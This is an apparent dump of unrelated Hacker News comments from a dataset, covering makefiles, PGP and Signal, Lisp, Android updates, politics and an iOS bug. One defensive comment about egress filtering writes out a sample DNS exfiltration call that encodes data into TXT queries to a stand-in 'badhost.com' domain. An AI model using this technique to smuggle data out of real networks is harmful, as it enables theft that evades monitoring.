skysight-inc/HackerNews huggingface dataset:
Just because a language can do the task doesn't mean it's actually a good idea to use it for that task.

Make is much less well known than shell script. In fact, I'd go so far as to say that make is infamously poorly understood and makefiles are infamously poorly written. That makes it less maintainable, or otherwise you'll need to put "experienced with GNU make" on your job description.

If you've got the script scheduled, then you're going to have to document it everywhere that it's not actually a build script so please don't disable it because it doesn't obviously look like it needs to be running every 6 hours.

And because it's a DSL and you're somewhat going out of scope, you're more likely to have a problem like needed to extend your script to do something you can't do as easily in make. Worse, you might want to do something that you're expressly not supposed to do [0].

You're going to have to defend your decision every time you present the script, too. And if you ever need to pass it off, the first thing you're going to have to do is explain why you used make. Whether or not the person you hand it of too is an idiot or not, you know the first question is going to be "why isn't this a shell script or Python script?" You're going to have to defend your decision to use make instead of shell script because of idempotence, even though you can write idempotent bash scripts. And if the person you're talking to is an idiot -- and let's be fair that there's a good chance that that is the case -- then they'll never figure it out.

So, for me, you've got to go beyond "this language can technically do the task" in order for me to understand why you'd want to use something that's generally understood to be used for build scripts for, well, anything other than that. By choosing make, you're doing something unexpected. That's a bad idea.

[0]: https://www.gnu.org/prep/standards/html_node/Utilities-in-Ma...
How does Twitch do low latency mode? Isn't that 1-2 seconds?
... and OCaml gives you most of the benefits of SML plus a reasonably sized ecosystem.

Agree fully on your review of Go.
I don't see how this is at all realistic. If it were up to me, I would just do all POC work and nothing else. But there are bills that have to be paid, so...
I've seen the link from this article before about alternatives to PGP and it bugs me for two reasons. One is the implication that everyone should write all software in Go. The other is that when you swap out one system for half a dozen, you now need to identify yourself half a dozen different ways. That seems confusing.
> The ugly truth is a lot of 'benefits' of the scandanavian approach come from a highly (for now) homogenous society

Citation needed. This claim gets thrown around a lot, but is there any evidence or actual research backing the claim that diversity leads to crime?

There is plenty of evidence that disenfranchisement leads to crime, but you can have diversity without disenfranchisement.
The main problems I've had with Samsung devices have been due to the fact that Samsung so heavily customizes Android, it's virtually impossible for them to deliver Android updates on any kind of reasonable schedule.

At least now, Samsung delivers updates. At one point, not so long ago, any non-flagship Samsung device was stuck on the version of Android that it shipped with, unless you were willing to root it and install your own ROM.

Then, there's the fact that Samsung insists on shipping its own e-mail, messaging and contact management applications, which are very difficult to back up. There's nothing quite like having to tell someone who bought a new phone that they have to type out all of their contacts by hand, because they used Samsung's contacts app instead of Google's.
The California coast is disappearing under the rising sea
Looks like it's this one: @epilys@chaos.social
Don't write clever. Write clear.
Office pranks should not end with the ER, vomit, or tears
Or one you're hosting. You can self host the server, as explained in OP's comment on this thread.
Oh, hey! I've seen you around :) And thanks. Though nyaray deserves plenty of the credit too.

Yeah, my firmware image weighs in at 20Mb for the sample_inky repo. I like Nerves a lot for all the sanity it provides for the process.
Do you send email?
This is a great reason why you should never allow unknown outgoing connections from Production.

You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before you lock them down.

This is also why you shouldn't allow external DNS resolution from every host in your network. It would be just as easy to move data in and out with Dnsruby::Resolver.query('base64-encoded-payload.badhost.com', 'TXT'), 255 bytes at a time.

Once everything is moving through your proxy, there's no need to allow external DNS resolution from other hosts.
Well, honestly, that’s actually a fine use case here. Good idea! If you build them on a screw thread, and bolt them onto open-ear headphones, then you absolutely could block any unwanted sound’s key frequencies until it’s knocked down into the background noise. You’d only be able to negate the one sound, but for a lot of people, that’s a dream come true.
There’s an old joke about a guy making money downtown exchanging $5 bills for five $1 bills. When asked how makes money the response is, “Well, I never make a mistake...”
I think we've had a wide consensus against commercial property "rights" since the Civil Rights Act, and probably long before that, but I'm not a historian. AT&T doesn't get to listen to my calls to decide whether carrying them on their network is good for their brand. The big tech companies shouldn't get to claim they're a platform and then arbitrarily censor whoever they want without any due process.

It's 2019 and everyone talks online, it's time to stop pretending that the public sidewalk is the only place people have a right to protest. Telling someone they have to go use gab.ai (which is blocked on both on both app stores and has had its payment systems pulled) is like telling a sidewalk protestor they have the right to protest as long as it's somewhere in the wilderness where they will not be discovered, alongside the other miscreants who have a beef.

Nobody has ever been against the right of people to protest in invisible places, even China lets you do that. It's like the old saw, that Stalinist Russia had free speech as long as you were praising the party or nobody could hear you.
> "Africa is poor thanks to statism. Not due to some "evil american corporates"

That can be rectified. It could very easily be poor thanks to both.
This. We even have an almost de-facto standard library for easy parallelization (lparallel) and software transactional memory (stmx).
There was once an iOS app called "Baking with Dorie" that had a similar presentation. It caught my attention because I was interested in novel ways to represent recipes. It's no longer in the app store, but there are a few reviews out there with screenshots, e.g.

http://omgyummy.files.wordpress.com/2011/09/image-4.jpg

It seems to me that if you added time to one of these wiring diagrams (for the recipe use case), you would have a Gantt chart. This might also be leveraged to plan parallel processes in a recipe (e.g. making the second part of a mole sauce while waiting for the chilis to soak).

For complex recipes or meals, I could also see using the wiring diagram to represent a high level flow between sub-recipes, and then drilling down into a node to view the diagram for that sub-recipe. You might be able to mock this up with "milanote".

In the past I've built a dependency diagram for a complex dinner (dishes from the Eleven Madison Park cookbook) by scanning my markdown transcription of the recipes and generating a 'dot' file for graphviz. For planning meals like this, I think a Gantt-like representation would be useful. Some components were made a day or two ahead, some same day, and some steps had to be executed at the last minute.
It isn’t as if there’s no staff. Someone still needs to restock, clean, answer customer questions, etc.
Got rid of cable. Stopped playing video games. Got rid of Netflix, too.

This didn't all happen at once, but you get the point. I have wasted a ton of my life watching tv and playing dumb games. Enough.

I still watch movies with my son which we get from the local library.

Honestly, I didn't do much personal improvement when my kids were little. Having kids hurts your career. So what? Are you a career jockey or something else? I'm something else.
I think rule of law is supposed to be about non-enforcement of non-existent rules rather than enforcement of existent rules? i.e. the rules you have to follow are those codified in the law, rather than whatever e.g. the executive happens to declare. You lose rule of law when they start to impose different rules rather than when they merely decide not to impose the ones in the law.

Otherwise... who wants to live in a world where e.g. every single jaywalker gets fined? If you require enforcement of existent rules, you reduce rule of law to something that pretty much nobody wants, rendering it a pretty poor concept to define in the first place.
In the pig plague, it pays to be a crop giant in the right place
You can get your autumn fix if you go into the east bay hills, like tilden nature area and san pablo reservoir. Tree's turn pretty colors over there.
In for the penny, in for the pound? Nobody is a saint so you may as well double down on sin? Interesting philosophy. I'd rather people be morally inconsistent and do less harm than do more harm in the pursuit of moral consistency.
That's fair. You can do plenty with Scenic entirely without hardware. And you should, Scenic is great :)
Obligatory link to essay explaining the issues in pedagogical detail. Section II is on insulin:

https://slatestarcodex.com/2019/04/30/buspirone-shortage-in-...
Public infrastructure should still be subject to cost-benefit analysis, just like everything else. That doesn’t mean it can’t be subsidized, but it must still achieve the necessary results at the lowest cost.

A $40 Uber is what it costs to get me all the way to Annapolis late at night. That’s not a “small” subsidy, its an insane waste of money that could be put to better use. If the concern is really low-income late night workers, it’d be cheaper to just lease those people an EV.

A ring-type line in DC would also be a terrible idea and would do nothing to reduce traffic. Any ring would run through mostly low-density areas where neither the starting point nor end point would be walkable to the train station. (The possibility has been studied.)
Gerrymandering, regulatory capture, and a massive and growing class gap want to talk to you about this "Democracy". (not to be construed with being pro china by any means, but I think we can set our sights a little higher than the current sh*t show)
I cannot load this page on android Firefox without it immediately crashing Firefox. Fairly topical.
Just curious, who is paying you to work on arcan?
Decentralized infrastructure security: Security Chain draft white paper
A big disadvantage with TUI based email clients is it can only work with English or latin script based languages. Complex scripts(https://en.wikipedia.org/wiki/Complex_text_layout) does not render properly in terminals.
Bit of an unpopular opinion here: either you have a criminal correction system or a justice system or a hybrid of the two. My unpopular opinion is that if justice is to be administered in any shape or form it supersedes the need to correct a criminal.

I am sure many here will agree with "Ends don't justify means". That goes both ways,the end goal of rehabilitating a criminal does not justify the means.

To me justice means to correct a wrong done. Someone did some wrong therefore a fairly measured punishment is given so that the wrong doer suffers and/or makes up for their wrong actions. It is this idea that when someone commits a wrong they are indebted for that wrong. It does not have to be a criminal situation, when you see someone suffer and offer help, you saw wrong and attempted to correct it,you attempted to administer justice even though there was no criminal.

Now, a debt can be forgiven but it must be explicit. I understand and can accept mercy being shown to anyone. The core of my disagreement here is portrayal of justice to mean correction and rehabilitation of the wrongdoer. In the eyes of justice, the debt being paid is all that counts. If rehabilitation is a priority to a society, mercy needs to be explicitly shown,it should not be done in a way that waters down justice to where we say "you owe this much but due to the end result we will only accept so much repayment of wrongs from you",you're saying the unpaid debt is ignored,not forgiven. if there is a victim,the victim should also have a say.

I hope I wasn't all over the place with my comment. All in all, I am mostly displeased with the end result being the focus here. I do need good neighbors but not at the cost of graying-down justice.
As an FYI:

> Unrestricting, as this was fixed in the 12.3 update.
So, not really extremist, just boring, nationalist fear mongering that is nearly old as time. You are entitled to your opinions and I mine. You probably think I am incapable of independent thought and I think you're a narcissist for thinking that.
Many many years ago, when I was working at a large 3-letter-starting-with-S Unix company (no, not the graphics guys, nor the suing-Linux-for-Microsoft guys), we were planning a Linux compatibility layer... At the time, there were a couple of options out there - lxrun and uml. Anyone remember lxrun? I tested them both and did a little write-up, basically saying that neither of them ran reliably or fast enough to be worth adopting

What we decided was to go with option 3 - we implemented a Linux system call interface within our own kernel to give us 'native' support. This, of course, is exactly what the first version of WSL did, many years later. Plus ça change...
Works in my FF 67.
>Fully self driving sports car, without a bazillion miles of proper learning data (where the ai was continuously in charge at speeds similar to the discussed ones) sounds way outside my comfort limits.

I feel the same.

If Tesla gets their way, they could be on the roads posing a risk to us more cautious types regardless.

Talk of corruption aside, if Boeing can't get it right with a gazillion dollars and no bad roads or unpredictable traffic, I don't trust Tesla to be able to do it safely.
Is it a scripting language? I suppose so!

Good answer!
>Now, we could talk about why the LISP community is fragmented (...) The problem is they confused DSL building with language building and so multiple different general purpose dialects proliferated.

The Lisp community isn't fragmented. There are two main lisp dialects (Common Lisp and Scheme), three if you want to add Clojure, and each of them has a faithful community.
Perhaps, perhaps.

The issue I have is that once you add the friction in, it prevents errors from being corrected, and that reduces the incentive to prevent them. It's not about whether I can get a problem fixed when I notice it. It's that the number of problems will be higher because on average fewer will be noticed and fixed. Furthermore, whenever the rate of problems seems a little too high, the easy "fix" is to add a little more friction.
White empires destroyed millennia of stable political culture in Africa
Tell that to the families mourning the deaths of the people who didn't realise something called AutoPilot and dishonestly marketed as FSD capable is just an ambition.
Sure;!
I will try
The only fee you mention is $50, that really doesn't seem like that big of a deal. The blog post does not do a very good job of explaining why being a C Corp has been a "nightmare".
If an attacker has the ability to send dig queries to a remote host, he can over-ride anything you put in place on the host to prevent external DNS queries.

Also, most of this traffic is still unencrypted and dig'ging strange severs is noisy as hell. I'm pretty sure (famous last words) that most entry-level firewalls would flag this out of the box. If they don't, they should.

Still upvoted you though. This is an exfiltration technique that is really easy to spot and not widely known about.
One of their test sentences was interesting:

>For example, the task provides the sentence: “The city councilmen refused the demonstrators a permit because they [feared/advocated] violence.” If the word “feared” is selected, then “they” refers to the city council. If “advocated” is selected, then “they” presumably refers to the demonstrators.
Macros are just another form of abstraction, like functions. And like functions, they can be poorly named or poorly designed. Somehow the possibility of suboptimal use is frequently paraded around as an argument against macros, but seldom heard as an objection to functions.

(Also, macro systems like Racket's syntax-parse facilitate the creation of macros that fail gracefully with nice error messages.)
Apparently patched in iOS 12.3, but that’s a pretty gnarly bug.
Team launches canoe to test migration hypothesis
Are you opposed to having intermediaries period, or the particular set of intermediaries that command the largest audiences today? The distinction is important because intermediaries can add valuable context and analysis (we just happen to have a lot of low quality ones imo).
I didn't get a crash with 67.0.3 from f-droid, just to add a data point.
Are there any actual systems in production and processing non-toy workloads that are written in Perl6?

I ask this as someone who has several systems written in Perl 5 in production.
ECB warns over tech giants’ steps into financial system
Pretty sure the point was that almost everything was an optimization that used humans at some point.

A weird moral compass that had you not using technology that replaced menial labor would be actually impossible in any (even ancient) society.
From the image I’d hardly call that a metamaterial. It’s just a novel shape for a Helmholtz-resonator which if the name didn’t give it away has been known about for a very long time. I will give them credit for stream lining the design process.

https://en.wikipedia.org/wiki/Helmholtz_resonance
> Both of those statements are false.
Pop on over to wikipeida, you will how wrong you actually are.

>> "Signal uses standard cellular mobile numbers as identifiers"
>> "The applications include mechanisms by which users can independently verify
>> the identity of their messaging correspondents and the integrity of the data
>> channel."

That is what I described, its trust us first, and maybe verify later if you
think of it.

>> "Open Whisper Systems introduced the second version of their TextSecure Protocol
>> (now Signal Protocol)"

Looks like it is Open Whisper, just V2 and renamed... Well maybe TextSecure.

> hacks PGP came up with to authenticate ciphertext resulted both in stripping
attacks and, indirectly, in the Efail attack from last year.

A quick look at Efail shows clients were at fault and the fix was fix was
patching clients. I can assure you my email client had no such issue. So again,
you are blaming something on PGP that really just involved PGP. If Signals code
has a bug in it too can leak encrypted messages after the client decrypts them.

> key format that resulted in the GnuPG/SKS attacks

Again you are back on keyservers, a method of offline verification to a 3rd
party.

> Signal also doesn't verify identities with phone numbers.

Yes it does, unless you do the second step of verification, which is not done by
default. Have you used signal before? When I installed it on my phone magically
people I knew showed up base off -- what is that? A phone number.

And again Wikipedia - " Signal uses standard cellular mobile numbers as
identifiers, "

> These are just basic, fundamental factual problems with your claims.

You keep conflating things with PGP that are not PGP, thus I have to refute
insane statements that don't have to do with pgp, but things like email clients,
or now how signal actually works. You thus far have just said I am wrong, but
yet not described how any of this works. Yet I am here pointing to and describing
in great detail how you are wrong. Simply saying I am wrong, and not
demonstrating it does not make you right.

> We're not even getting close to serious comparisons between the two systems;

You are right, because you are talking about end to end encryption and I am talking about the importance of verifying who you are talking to. Signal fundamentally solves a different problem that PGP is attempting to solve -- and it does so giving up some very strong benefits that PGP brought to the table. Signal is amazing if you don't want onlookers to see your message, not so good if you want to authenticate the sender (unless you go through the extra steps, in which case it is the same cumbersome process as pgp keys.)

In any case, i don't have any more time to spend on this. If you chose to reply I will read it but I am done because think we are going to come to a agreement.
I've been thinking about this sort of thing.

It seems more reasonable to me that the act of measurement actually does not change the state of the quantum system, but entangles the observer with the system.

It is the observer and not the pre-existing entanglement that is subject to change as a result of measurement.

If a man in a box at some stage measures the state of a cat in a box, then my perspective of the box is a superposition of:
a man who has not yet measured the state of the cat;
a man who measured the state of the cat, and found it alive;
and a man who measured the cat and found it dead.

I can expand this superposition with arbitrary possibilities - such as whether or not the cat is yet to enter rigor mortis.

If without seeing the cat myself - or the man's reaction to seeing the cat - I watch as the man looks at the cat, my superposition is reduced to the possibilities in which the man has measured the cat.

This is not about the state of reality - it's about the localisation of information regarding the state of reality.

(Additionally, if I saw the man's reaction to his observation of the cat it would skew my superposition based on the likelihoods that he would react that way if the cat were dead/alive).

Spooky action at a distance is another one where I don't think the common interpretation holds up - perspectives on quantum systems should be absolutely free to contradict each other (in terms of absolute measurement) it is only when the light cones of the quantum systems meet that contradictions are excluded.
>I think there is something to the argument in the article about Lisp being too expressive and allowing developers to have too different styles making it difficult to read other peoples code.

Rest assured this doesn't happen in Common Lisp, because what often happens is that the program is done in the style where it makes more sense.

For example, if the program lends itself to be easily done using OOP, then it is written using CLOS (the lisp OOP system).

If, for example, there is a part that is a state machine, it might be written in the old "goto <label>" style.

If it lends to functional programming, well, lisp was the first FP language, so fine.

If a part of the program requires generation of HTML, the source will resemble HTML.

etc.
You have to file taxes whether or not you’re doing any business.
This is fixed in iOS 12.3 [1] and macOS 10.14.5 [2], both released on May 13th. As Natalie noted on the ticket, turning off iMessage will also prevent the bug.

[1]: https://support.apple.com/en-us/HT210118

[2]: https://support.apple.com/en-us/HT210119
Safari on iOS threw a WebKit exception on my first try, but a reload worked…
Right, worry about outgoing traffic first, and DNS resolution second. And this goes for all traffic. Even ICMP can used to tunnel data.